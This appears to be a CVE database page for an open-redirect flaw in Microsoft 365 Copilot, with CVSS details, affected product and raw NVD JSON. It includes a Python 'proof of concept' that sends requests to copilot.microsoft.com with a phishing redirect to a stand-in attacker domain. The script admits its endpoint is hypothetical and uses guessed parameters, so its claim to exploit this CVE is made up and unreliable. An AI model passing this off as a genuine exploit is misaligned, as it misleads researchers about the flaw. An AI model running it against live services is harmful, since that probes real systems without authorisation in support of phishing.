Security Vulnerability Report
中文
CVE-2026-33102 CVSS 9.3 CRITICAL

CVE-2026-33102

Published: 2026-04-23 22:16:37
Last Modified: 2026-04-29 19:04:22

Description

Url redirection to untrusted site ('open redirect') in M365 Copilot allows an unauthorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score
9.3
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_copilot:-:*:*:*:*:*:*:* - VULNERABLE
Microsoft 365 Copilot < 2026-04-23 Security Update

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-33102 # This script demonstrates the Open Redirect vulnerability in M365 Copilot. import requests def check_open_redirect(target_domain, payload_url): """ Tests if the target domain is vulnerable to open redirect. """ # Hypothetical vulnerable endpoint often found in web apps # e.g., https://copilot.microsoft.com/auth/signin?redirect_url={payload} vulnerable_endpoint = f"https://{target_domain}/redirect" # Malicious payload pointing to an attacker-controlled site # Encoding the URL to ensure it is passed as a parameter params = { 'next': payload_url, 'redirect': payload_url } try: print(f"[*] Testing: {vulnerable_endpoint}") # Sending the request without following redirects to catch the 302 location response = requests.get(vulnerable_endpoint, params=params, allow_redirects=False, timeout=10) # Check if the response is a redirect (302, 301, 307) if response.status_code in [301, 302, 307]: location = response.headers.get('Location') if location and payload_url in location: print(f"[+] Vulnerability Confirmed!") print(f"[+] Server redirected to: {location}") return True else: print(f"[-] Redirect occurred, but not to the malicious payload.") print(f"[-] Location: {location}") else: print(f"[-] No redirect detected. Status code: {response.status_code}") except Exception as e: print(f"[!] Error during request: {e}") return False if __name__ == "__main__": # Target and Payload configuration target = "copilot.microsoft.com" # Example target malicious_site = "https://attacker-controlled-domain.com/phishing" print(f"--- CVE-2026-33102 PoC ---") check_open_redirect(target, malicious_site)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33102", "sourceIdentifier": "[email protected]", "published": "2026-04-23T22:16:37.093", "lastModified": "2026-04-29T19:04:21.620", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Url redirection to untrusted site ('open redirect') in M365 Copilot allows an unauthorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_copilot:-:*:*:*:*:*:*:*", "matchCriteriaId": "E4A390D9-7457-430A-82CC-A24DA275BF06"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33102", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}